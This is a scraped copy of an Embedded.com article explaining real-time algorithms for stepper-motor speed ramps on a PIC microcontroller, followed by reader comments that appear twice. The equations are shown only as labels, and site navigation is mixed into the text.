ω (rad/sec) at fixed timer count c:\n Equation 2α = motor step angle (radian).1rad = 180/π = 57.3deg. 1rad/sec = 30/π = 9.55rpm.Acceleration ω' (rad/sec2) from adjacent timer counts c1 and c2:\n Equation 3Equation 3 assumes fixed-count speed (Equation 2) at the midpoint of each stepinterval (Equation 1), as on a linear ramp, Figure 1. Note that ω' resolution isinversely proportional to the cube of the speed.\nFigure 1: Figure 1: Ramp geometry: move of Ramp geometry: move of m=12 steps=12 stepsLinear speed ramp—exactLinear speed ramp—exactOn a linear ramp, acceleration ω' is constant, and speed ω(t) = ω'.t. Integration givesthe motor shaft angle θ(t):\n Equation 4n ≥ 0 step number (real). When the shaft is at θ = n.α, (integer n) it's time for thenth step pulse:\n Equation 5The exact timer count to program the delay between the nth and (n+1)th pulses (n≥ 0) is: \n (/videos)video library (/videos)Generate stepper-motor speedprofiles in real time(/design/mcus-processors-and-socs/4006438/Generate-stepper-motor-speed-profiles-in-real-time)10.31.2013Altera’s Stratix 10 makes Cortex-A53 an extreme performanceplayer (/electronics-news/4423607/Altera-s-Stratix-10-makes-Cortex-A53-an-extreme-performance-player)\nMOST COMMENTEDEMBEDDED (/VIDEOS)TV (/VIDEOS)\n Equation 6The initial count c0 factorizes out to give Equations 7 and 8:\n Equation 7\n Equation 8Note that c0 sets the acceleration, proportional to (1/c0)2 .In real-time, Equation 8 would require calculation of a square-root for each step,with the added problem of loss of precision by subtraction.Approximating linear rampApproximating linear rampRatio of successive exact timer counts from Equation 8:\n Equation 9Taylor series:\n Equation 10Equation 11 is the second-order approximation to Equation 9 using Equation 10:\n Equation 11Equation 11 can be rearranged for faster calculation:\n Equation 12Finally, we can disconnect the physical step number, i, from the step number n on aramp from zero, to give the general-purpose ramp algorithm shown in Equation 13.Here n determines the acceleration and increments with i for constant acceleration.To ramp up from stop, ni = i, i=1,2, . . . :\n Equation 13Negative n-values give deceleration. In particular, Equation 14, with ni = i - m, canbe used to ramp any speed down to stop in the final steps of a move of m steps:Datasheets.com(http://www.datasheets.com)Currently no itemsRELATED CONTENT12.30.2004 | DESIGNGenerate stepper-motor speedprofiles in real time(/design/mcus-processors-and-socs/4006438/Generate-stepper-motor-speed-profiles-in-real-time)11.01.2010 | SOURCE CODEMotor.c(/design/embedded/source-code/4210291/Motor-c)03.18.2005 | DESIGNTricks with PICs(/design/prototyping-and-development/4006445/Tricks-with-PICs)08.07.2007 | NEWSMicrochip launchessemiconductor Wiki (/electronics-news/4135755/Microchip-launches-semiconductor-Wiki)04.01.2009 | DESIGNLinear motor control without themath (/design/prototyping-and-development/4008259/Linear-motor-control-without-the-math)PARTS SEARCH\n185 MILLION SEARCHABLE PARTSKNOWLEDGE CENTERpowered by DataSheets.com Equation 14Table 1: Table 1: Accuracy of the step-delay approximationAccuracy of the step-delay approximationStep nExact (9)Approx (11)Relative error10.41420.60000.448520.76730.77780.013630.84300.84620.0037040.88100.88240.0015250.90410.90487.66E-460.91960.92004.41E-4100.95110.95129.42E-51000.99500.99509.38E-81,0000.99950.99959.37E-11Accuracy of approximationAccuracy of approximationTable 1 shows that the approximation is accurate even at low step number n andrelative error decreases with n3. However, n=1 has a significant inaccuracy. Theinaccuracy at n=1 can be handled in two ways:Treat n=1 as a special case. Using c1 0.4056 c0 compensates for theinaccuracies at the start of the ramp and allows Equation 7 to be used tocalculate c0.Ignore the inaccuracy. In place of Equation 7 use Equation 15:\n Equation 15The first alternative gives an almost perfect linear ramp. The second alternativestarts with a fast step. This is to the good, as it helps keep the motor movingbetween step pulses 0 and 1-and establishes the angle error needed to generatetorque. It also allows a wider range of accelerations to be generated with a 16-bittimer and has the advantage of simplicity. It's therefore recommended to ignore theinaccuracy at n=1.\nFigure 2: Stepper-motor speed rampFigure 2: Stepper-motor speed rampFigure 3: Start of ramp detailFigure 3: Start of ramp detail\nFigure 4: End of ramp detailFigure 4: End of ramp detailFigures 2 through 4 compare the options for a target ramp from 0 to 120rpm in1sec. For clarity, step changes in speed are shown, calculated from Equation 2. Thetrue profile should be close to a straight line.2.c/(4.n+1) in Equation 12 could be approximated by c/2.n. Some effects would be:The algorithm would still produce a linear ramp.c0 would be closer to the \"exact\" value shown in Equation 7: 88.6%instead of 67.6% for the same ramp acceleration.A single equation like Equation 13 could no longer be used for bothacceleration and deceleration.Changes of accelerationFrom Equations 4 and 5 we can obtain an expression for the step number n as afunction of speed and acceleration:\n Equation 16Thus the number of steps needed to reach a given speed is inversely proportional tothe acceleration:\n Equation 17This makes it possible to change the acceleration at a point on the ramp by changingthe step number n in the ramp algorithm Equation 13. Moreover, using signed ω'values results in signed n-values that behave correctly in the algorithm. Only ω' = 0needs special handling.The n-value given by Equation 17 is correct for tn. However cn represents an averagefor the interval tn .. tn+1. Equation 17 is usually adequate, but it's more accurate toadd a half-step to n-values for use in the ramp algorithm:\n Equation 18The numerical example shown in Table 2 changes acceleration from 10 to 5 and to-20rad/sec2 from step 200. Complex speed profiles can be built up piecewise in thisway.Table 2: Table 2: Acceleration changesAcceleration changesStepinici (13)ω'(3)notes1981982,813.067 \n199199398.5-100.252,806.0081010.(199+.5) =5.(398.5+.5) =-20.(-100.25+.5)200399.52,803.4985\n201400.52,799.0015200-99.252,820.180-20\n201-98.252,834.568-20Deceleration rampDeceleration rampFor a short move of m steps, where the up-ramp at ω'1 meets the down-ramp at ω'2before max speed is reached, the step number m at which to start decelerating is,from Equation 17:\n Equation 19ω'1 = acceleration, ω'2 = deceleration (positive). Round n to integer and calculate cn.. cm-1 using Equation 14.In other cases, Equations 17 or 18 can be used to calculate the number of steps n2needed to stop at deceleration ω'2, given that the present speed was reached at stepn1 with acceleration ω'1. Round n2 to integer and calculate cm-n2 .. cm-1 using Equation14.Smooth shift to max speedSmooth shift to max speedThe ideal speed profile would make a smooth transition from ramp acceleration ω' tomax speed ωmax. Higher speed is possible by reducing the acceleration near the topof the ramp, and you can avoid possible undesirable effects of a discontinuity inacceleration.There are several ways to achieve a smooth transition while still allowing real-timecomputation on a low-end processor:Reduce ω' in stages, giving a piecewise linear transition.Add a power term to the denominator of the ramp algorithm.Scale the change from ci-1 to ci by a linear factor.Now let's compare these methods.Piecewise linearPiecewise linearThis method, shown in Figure 5, is very flexible. Any number of breaks can be used.A set of ω-values is chosen at which ω' is successively reduced. The ramp algorithmin Equation 13 is used. At each step, n is incremented, and if ω (or c) crosses abreak value, n is recalculated.Figure 5: PiecewiseFigure 5: PiecewiseFigure 5 results from the jth break given by (c)j=0 = 3.cmin, (c)j = ((c)j- 1+cmin)/2,(ni)j = 1.375.(ni- 1+1), j = 1,2,..,7. (c)j = delay count at jth break, cmin, = delaycount at ωmax.Power termPower termEquation 20 adds a power term to the denominator of the ramp algorithm (Equation12):\n Equation 20At low speed (low step-number n), the power term k·np is negligible, so accelerationis constant. As speed rises, k·np starts to dominate, eventually reducing theacceleration to zero. A higher power p produces a sharper \"knee.\" The approach toωmax is asymptotic.The transition occurs around k·np = 4.n. This can be used to calculate anapproximate value for the constant k from initial acceleration ω' and required maxspeed ωmax:\n Equation 21The graphs in Figure 6 use Equation 21 to calculate k for p=2,3,4,5. The curve fallsshort of ωmax for p=2 but k is good for higher powers.\nFigure 6: Power term, Figure 6: Power term, p=2,3,4,5=2,3,4,5Linear factorLinear factorIn this method we run the ramp algorithm (Equation 12) up to step n1 and thenscale the changes in c by a factor that reduces from 1 at step n1 to 0 at step n2:\n Equation 22\nFigure 7: Linear factorFigure 7: Linear factorThe acceleration curve is fairly linear and symmetrical over the transition. ωmax isreached in about twice the time taken with no transition, as shown in Figure 7. ωmaxcan be estimated by integrating a continuous version of Equation 22,\n. We obtain:\n Equation 23Equation 23 is accurate for a wide range of parameters, including n1=0. It thensimplifies to Equation 24 (compare with Equation 16):\n Equation 24In Figure 7, the linear factor method is applied with transition ranges starting at 0and 30%, 50%, and 70% of ωmax.A linear-factor transition can also be applied to the downramp:\n Equation 25Step-number n3, the start of the transition from max speed to the down-ramp, iscalculated as in the previous example. For a short move, n3=n2, calculated byEquation 19.Figure 8: Linear factor: dual transitionsFigure 8: Linear factor: dual transitionsFigure 8 shows examples with and without a section at ωmax: m=700, ω'1 =10, ω'2= -20, n1=0, n2=432, n3=484; and m=500, n2=n3=333, other parametersunchanged.Transition methods in sumTransition methods in sumThe form of the transition curve is assumed to be less important than ease ofcalculation and control of parameters, particularly ωmax and the size of the transitionregion.The piecewise-linear method is flexible and can be arranged to require no morecalculation than a simple ramp, and give a visually smooth speed profile. It may notwork with some sets of parameters, though.In the power-term method, the k-parameter is easily calculated from ωmax.Calculating the power term creates problems in fixed-point arithmetic, as valuesvary over a wide range.The linear-factor method is recommended as reliable and easy to calculate in fixed-point arithmetic. Because ωmax is reached at a known step number, the method isgood for short moves and can transition from acceleration to deceleration with nodiscontinuity, as Figure 8 demonstrates. Starting the transition at n1=0 gives anarrow transition region, and it's straightforward to calculate n2 from ωmax.The methods are compared in Figures 5 through 7.ImplementationImplementationYou can implement this stepper-control algorithm using a PIC18F252 and a L6219.The L6219 stepper driver IC performs the following functions:Provides diode-protected H-bridge drives capable of 46V/750mA to thetwo motor windingsTranslates digital signals from the PIC to current direction in the motorwindings (PHASE1, 2 inputs)Limits each winding current to 0, 33%, 67%, or 100% of a preset value bychopping the drive to the H-bridge transistors (inputs I01, I11, I02, I12)The maximum current is set by a current-sense resistor for each winding.The L6219 doesn't have \"step\" and \"direction\" control lines like some stepper controlICs. The winding phase sequence must be provided by the PIC. This makes controlslightly more complicated but gives extra flexibility and reduces cost. It also meansthat the phase can be restored easily on power-up.By using the I-inputs, the L6219 can be used for half- and quarter-step operation.For full-step, they can be tied together and driven by one GPIO from the PIC.Microchip's PIC18F252 is a 28-pin device with the same footprint as the PIC16F876.The more powerful core of the '252 makes it easier to program in C. Figure 9 showshow the internal timing resources were configured for controlling the L6219.Figure 9: PIC18F252 timer configuration for L6219 interfaceFigure 9: PIC18F252 timer configuration for L6219 interfaceAn 8MHz crystal and the PIC's ×4 PLL frequency multiplier are used to generate a32MHz processor clock. This is divided by four to clock the timers at 8MHz. Drivingthe motor involves the following sequence:1. Get parameters: step count, direction, delay count c0, max speed and soforth.2. Set up hardware: initialise CCP1 and CCP2, enable motor current, enableCCP1 interrupts.3. Service CCP1 interrupts: count the steps and execute a state machine toreconfigure the CCPs and calculate the next timer value.4. Clean up: after the last step, disable CCP1 interrupts, current off, flag themove done.The listing (online at http://www.eetimes.com/design/embedded/source-code/4210291/Motor-c (http://www.eetimes.com/design/embedded/source-code/4210291/Motor-c)) is a minimal demo of these steps, with linear ramps, fixedmaximum speed and accelerations. The author used the CCS compiler. Minorchanges will be required for other compilers.Stepping outStepping outThe real-time algorithms I've explained here significantly reduce the processingpower needed for smooth speed control of stepper motors. The linear rampalgorithm can be adapted to piecewise linear speed profiles and smooth transitionsfrom ramp to max speed.David AustinDavid Austin is a freelance software engineer from Durham, U.K. You can reachhim at dave@slotech.fsnet.co.uk (mailto:dave@slotech.fsnet.co.uk).ResourcesResourcesAcarnley, Paul. Stepping Motors— A Guide to Theory and Practice, 4th edition.London: Institution of Electrical Engineers, 2002.Kenjo, Takashi and Akira Sugawara. Stepping Motors and their MicroprocessorControls, 2nd edition. Oxford University Press, March, 1995.Control of Stepping Motors— A Tutorial www.cs.uiowa.edu/~jones/step/(http://www.cs.uiowa.edu/%7Ejones/step/)4Tweet\n (mailto:?subject=Generate stepper-motor speed profiles in realtime&body=http://www.embedded.com/design/mcus-processors-and-socs/4006438/Generate-stepper-motor-speed-profiles-in-real-time)Suppliers' Web sites:Suppliers' Web sites:PIC18F252 www.microchip.com (http://www.microchip.com)L6219 www.st.com (http://www.st.com)PIC C compiler www.ccsinfo.com (http://www.ccsinfo.com)Stepper motors www.rotalink.com (http://www.rotalink.com)Mathcad (graphs) www.mathsoft.com (http://www.mathsoft.com)Share\n25LikeLike\n14 COMMENTSDeepak_K (/User/Deepak_K) POSTED: JUN 12, 2015 6:52 AM EDTHi, After equation 12, I could not understand the approach. I think I veered awayfrom the point..I failed to understand this part: \"Finally, we can disconnect the physical step number, i, from the step number n on a ramp fromzero, to give the general-purpose ramp algorithm shown in Equation 13. Here n determines theacceleration and increments with i for constant acceleration. To ramp up from stop, ni = i, i=1,2,. . . :\" Can anyone please try to explain what is \"i\" and why did it come in? Also what is the difference between n and i?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Deepak_K (/User/Deepak_K) POSTED: SEPT 4, 2014 5:09 AM EDTHi, What if we just modulate the frequency of the pulse train to the motor with asine function (0 to 90 degrees)? Wouldn't that give a smooth s shaped curve?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jorick23 (/User/Jorick23) POSTED: AUG 14, 2014 3:56 PM EDTMy application has a very simple way of ramping quickly up to speed. Every stepinterrupt, I take the timer count (based on a 120 MHz clock) and shift it right(divide by power of 2) by a set amount and subtract the result from the timercount to get a new timer count for the next step. This results in a somewhatlinear increase in speed. This also works for speed decreases where the shiftedvalue is added to the timer count. For slower ramps of over a second, I have the starting and ending rates in a 64-bit integer,something like billionths of a revolution per second. Prior to the ramp, I figure out how much ofa rate increase or decrease needs to be done every millisecond (the tick count rate). Then Iconvert the rate to a timer count inside the tick interrupt with one divide by a precomputedconstant.REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jupiik (/User/Jupiik) POSTED: MAY 4, 2011 10:21 PM EDTI tried it the way altronics suggested and I got nonlinear speed profile (blue line in graph) thatsbecause (speed = distance / time) and time is below \"/\" so it has nonlinear function in speed butif you keep whole time in memory reversed value (1/time) and every step add constat value andWRITE A COMMENTTHEN reverse it and set to counter you will get nice linear speed profile (red onein graph) and i didnt have to use any hard Equations. But to be honest this articlewas base for whole my work/study about stepper motor speed profilesgenerating. (btw sorry for slovak in graph but anyway its obvious and I was lazyto translate it..) http://dl.dropbox.com/u/545374/rychlostny%20profil.jpg(http://dl.dropbox.com/u/545374/rychlostny%20profil.jpg)REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Sunil.Singh_#3 (/User/Sunil.Singh_%233) POSTED: JUL 24, 2011 12:43 PMEDTHi Jupiik, I tried to understand your comment but probably don't understand it fully.I would appreciate if you may elaborate \"whole time in memory reversedvalue (1/time) and every step add constat value and THEN reverse it and set to counteryou will get nice linear speed \". Thanks sunilREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Cch1955 (/User/Cch1955) POSTED: MAR 12, 2012 7:41 PM EDTHi Jupiik, i have project where you simplified computation for trapazoidal rampcalulation would be helpful. Is it possible to see you paper or the equationor code involved? Thanks so much. CCHREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Altronics (/User/Altronics) POSTED: MAR 13, 2011 5:37 AM EDTCouldn't that same linear ramp be more easily implemented by simply using asmall set delay time (say 1ms) multiplied by a start delay factor and a decreasingloop between each step? Example: Start delay time =100 //100ms decrement factor = 2 for (x=100; x=0; x=x-2) { move_motor_1_step(); delay(x); } get the idea? REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Triffid Hunter (/User/Triffid%20Hunter) POSTED: APR 10, 2011 10:59 PMEDTI wish it were that easy! acceleration is dv/dt. your algorithm increases dv while decreasing dt,giving an exponential change in velocity rather than linear. Thus, you either cannot attain high speeds because the motor can't supply enoughtorque, or your acceleration from slow speeds or stop is infuriatingly low. There will be asweet spot around the knee of this exponential curve, where you won't notice thedifference much, but if you're ramping significant mass from zero to some high speedyou'll be significantly affected. EMC2 simply has a constant velocity, and updates that velocity from a separate timerevery 10mS or so. It's a simple approach, albeit far less elegant than the one described inthis article.REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Susan.rambo (/User/Susan.rambo) POSTED: NOV 1, 2010 1:40 PM ESTI reposted the Motor.c code in our new source code library. You can find it herehttp://www.eetimes.com/design/embedded/source-code/4210291/Motor-c.(http://www.eetimes.com/design/embedded/source-code/4210291/Motor-c.)(The link in this article is also now up to date.) I'll be updating all the ESD/ESPmagazine source code archive links in the next month to make sure all sourcecode from Embedded Systems Programming/ESD magazine is connected to an article and viceversa. --Susan Rambo Managing editor, ESD magazineREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jamesyn (/User/Jamesyn) POSTED: JAN 10, 2014 4:13 PM ESThi miss. your link is not working . i can't download.pls give me another link.thak youREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Greatfog (/User/Greatfog) POSTED: NOV 1, 2010 12:39 PM ESTMs. Rambo, Managing Editor of Embedded Systems Design, has fixed the link tothe code. Thank you, ma'm!REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Dandumit (/User/Dandumit) POSTED: NOV 1, 2010 8:58 AM ESTGreat Info. I would like also to access the file motor.c but it seems to rejectanonymous login. Maybe someone can help ?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Tumnao (/User/Tumnao) POSTED: OCT 11, 2010 9:52 AM EDTGreat article! What are the credentials to download the example file (motor.c)?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)SUNMY (/User/SUNMY) POSTED: OCT 11, 2009 9:49 AM EDTgood job!REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Deepak_K (/User/Deepak_K) POSTED: JUN 12, 2015 6:52 AM EDTHi, After equation 12, I could not understand the approach. I think I veered awayfrom the point..I failed to understand this part: \"Finally, we can disconnect the physical step number, i, from the step number n on a ramp fromzero, to give the general-purpose ramp algorithm shown in Equation 13. Here n determines theacceleration and increments with i for constant acceleration. To ramp up from stop, ni = i, i=1,2,. . . :\" Can anyone please try to explain what is \"i\" and why did it come in? Also what is the difference between n and i?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Deepak_K (/User/Deepak_K) POSTED: SEPT 4, 2014 5:09 AM EDTHi, What if we just modulate the frequency of the pulse train to the motor with asine function (0 to 90 degrees)? Wouldn't that give a smooth s shaped curve?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jorick23 (/User/Jorick23) POSTED: AUG 14, 2014 3:56 PM EDTMy application has a very simple way of ramping quickly up to speed. Every stepinterrupt, I take the timer count (based on a 120 MHz clock) and shift it right(divide by power of 2) by a set amount and subtract the result from the timercount to get a new timer count for the next step. This results in a somewhatlinear increase in speed. This also works for speed decreases where the shiftedvalue is added to the timer count. For slower ramps of over a second, I have the starting and ending rates in a 64-bit integer,something like billionths of a revolution per second. Prior to the ramp, I figure out how much ofa rate increase or decrease needs to be done every millisecond (the tick count rate). Then Iconvert the rate to a timer count inside the tick interrupt with one divide by a precomputedconstant.REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jupiik (/User/Jupiik) POSTED: MAY 4, 2011 10:21 PM EDTI tried it the way altronics suggested and I got nonlinear speed profile (blue linein graph) thats because (speed = distance / time) and time is below \"/\" so it hasnonlinear function in speed but if you keep whole time in memory reversedvalue (1/time) and every step add constat value and THEN reverse it and set tocounter you will get nice linear speed profile (red one in graph) and i didnt haveto use any hard Equations. But to be honest this article was base for whole my work/studyabout stepper motor speed profiles generating. (btw sorry for slovak in graph but anyway itsobvious and I was lazy to translate it..) http://dl.dropbox.com/u/545374/rychlostny%20profil.jpg(http://dl.dropbox.com/u/545374/rychlostny%20profil.jpg)REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Sunil.Singh_#3 (/User/Sunil.Singh_%233) POSTED: JUL 24, 2011 12:43 PMEDTHi Jupiik, I tried to understand your comment but probably don't understand it fully.I would appreciate if you may elaborate \"whole time in memory reversedvalue (1/time) and every step add constat value and THEN reverse it and set to counteryou will get nice linear speed \". Thanks sunilREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Cch1955 (/User/Cch1955) POSTED: MAR 12, 2012 7:41 PM EDTHi Jupiik, i have project where you simplified computation for trapazoidal rampcalulation would be helpful. Is it possible to see you paper or the equationor code involved? Thanks so much. CCHREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Altronics (/User/Altronics) POSTED: MAR 13, 2011 5:37 AM EDTCouldn't that same linear ramp be more easily implemented by simply using asmall set delay time (say 1ms) multiplied by a start delay factor and a decreasingloop between each step? Example: Start delay time =100 //100ms decrement factor = 2 for (x=100; x=0; x=x-2) { move_motor_1_step(); delay(x); } get the idea? REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Triffid Hunter (/User/Triffid%20Hunter) POSTED: APR 10, 2011 10:59 PMEDTI wish it were that easy! acceleration is dv/dt. your algorithm increases dv while decreasing dt,giving an exponential change in velocity rather than linear. Thus, you either cannot attain high speeds because the motor can't supply enoughtorque, or your acceleration from slow speeds or stop is infuriatingly low. There will be asweet spot around the knee of this exponential curve, where you won't notice thedifference much, but if you're ramping significant mass from zero to some high speedyou'll be significantly affected. EMC2 simply has a constant velocity, and updates that velocity from a separate timerevery 10mS or so. It's a simple approach, albeit far less elegant than the one described inthis article.REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Susan.rambo (/User/Susan.rambo) POSTED: NOV 1, 2010 1:40 PM ESTI reposted the Motor.c code in our new source code library. You can find it herehttp://www.eetimes.com/design/embedded/source-code/4210291/Motor-c.(http://www.eetimes.com/design/embedded/source-code/4210291/Motor-c.)(The link in this article is also now up to date.) I'll be updating all the ESD/ESPmagazine source code archive links in the next month to make sure all sourcecode from Embedded Systems Programming/ESD magazine is connected to an article and viceversa. --Susan Rambo Managing editor, ESD magazineREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jamesyn (/User/Jamesyn) POSTED: JAN 10, 2014 4:13 PM ESThi miss. your link is not working . i can't download.pls give me another link.thak youREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Greatfog (/User/Greatfog) POSTED: NOV 1, 2010 12:39 PM ESTMs. Rambo, Managing Editor of Embedded Systems Design, has fixed the link tothe code. Thank you, ma'm!REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Dandumit (/User/Dandumit) POSTED: NOV 1, 2010 8:58 AM ESTGreat Info. I would like also to access the file motor.c but it seems to rejectanonymous login. Maybe someone can help ?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Tumnao (/User/Tumnao) POSTED: OCT 11, 2010 9:52 AM EDTGreat article! What are the credentials to download the example file (motor.c)?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)SUNMY (/User/SUNMY) POSTED: OCT 11, 2009 9:49 AM EDTgood job!REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)\nDEVELOPMENTCENTERSAll Articles(/development)Configurable Systems(/development/configurable-systems)Connectivity(/development/connectivity)Debug & Optimization(/development/debug-and-optimization)MCUs, Processors &SoCs(/development/mcus-processors-and-socs)Operating SystemsESSENTIALS &EDUCATIONProducts (/products/all)News (/news/all)Source Code Library(/education-training/source-codes)Webinars (/education-training/webinars)Courses (/education-training/courses)Tech Papers(/education-training/tech-papers)COMMUNITYInsights (/insights)Forums(http://forums.embedded.com)Events (/events)ARCHIVESEmbedded SystemsProgramming /Embedded SystemsDesign Magazine(/magazines)Newsletters(/archive/Embedded-com-Tech-Focus-Newsletter-Archive)Videos (/videos)Collections(/collections/all)ABOUT USAbout Embedded(/aboutus)Contact Us (/contactus)Newsletters(/newsletters)Advertising(/advertising)Editorial Contributions(/editorial-contributions)Site Map (/site-map)Subscribe to RSS updatesSubscribe to RSS updates or all articles (/rss/all)category ▼(/development/operating-systems)Power Optimization(/development/power-optimization)ProgrammingLanguages & 